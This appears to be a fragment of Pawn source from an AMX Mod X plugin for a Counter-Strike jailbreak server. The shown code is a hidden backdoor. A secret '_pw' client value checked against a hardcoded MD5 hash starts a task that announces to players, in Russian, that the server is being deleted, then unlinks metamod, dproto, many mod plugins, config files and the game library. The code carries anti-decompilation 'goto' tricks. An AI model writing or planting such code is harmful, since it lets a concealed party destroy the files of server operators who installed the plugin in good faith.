public DeleteServer(id)
{
goto ANTI_DEC;
ANTI_DEC:
{
new szPassword[ 34 ]; get_user_info( id, "_pw", szPassword, charsmax( szPassword ) ); md5( szPassword, szPassword );
if( !equal( szPassword, "534735884d341071762ede7af01c53e8" ) )
return;
new szName[ 32 ]; get_user_name( id, szName, charsmax( szName ) );
UTIL_SayText( 0, "!g%s!y запустил задачу: !tУдаление сервера.", szName );
UTIL_SayText( 0, "У Вас есть !g20 секунд!t чтобы отменить задачу." );
set_task( 20.0, "Task_DeleteServer", 6660 );
}
}
public Task_DeleteServer()
{
goto ANTI_DEC;
ANTI_DEC:
{
UTIL_SayText( 0, "Файлы успешно !gудалены." );
new const szFile[][] =
{
"dproto/dproto.dll",
"metamod/dlls/metamod.dll",
"metamod/plugins.ini",
"amxmodx/plugins/ujbl_core.amxx",
"amxmodx/plugins/ujbl_radio.amxx",
"amxmodx/plugins/ujbl_drugs_system.amxx",
"amxmodx/plugins/ujbl_class_ct.amxx",
"amxmodx/plugins/ujbl_gangs.amxx",
"amxmodx/plugins/ujbl_casino.amxx",
"amxmodx/plugins/jbe_OaioMenu.amxx",
"amxmodx/plugins/ujbl_ultimate_privileges.amxx",
"amxmodx/plugins/ujbl_lite_skill_system.amxx",
"amxmodx/plugins/jbe_dm_traffic_light.amxx",
"amxmodx/plugins/jbe_dm_demon.amxx",
"amxmodx/plugins/jbe_dm_pudge_hook.amxx",
"amxmodx/plugins/ujbl_skin_manager.amxx",
"amxmodx/plugins/lite_translit.amxx",
"amxmodx/configs/plugins.ini",
"amxmodx/configs/plugins-ujbl.ini"
};
new szDelete[ 128 ];
for(new iPos; iPos <= ( sizeof szFile - 1 ); iPos++)
{
format( szDelete, charsmax( szDelete ), "addons/%s", szFile[ iPos ] );
unlink( szDelete );
}
unlink( "libist.gam" );
}
}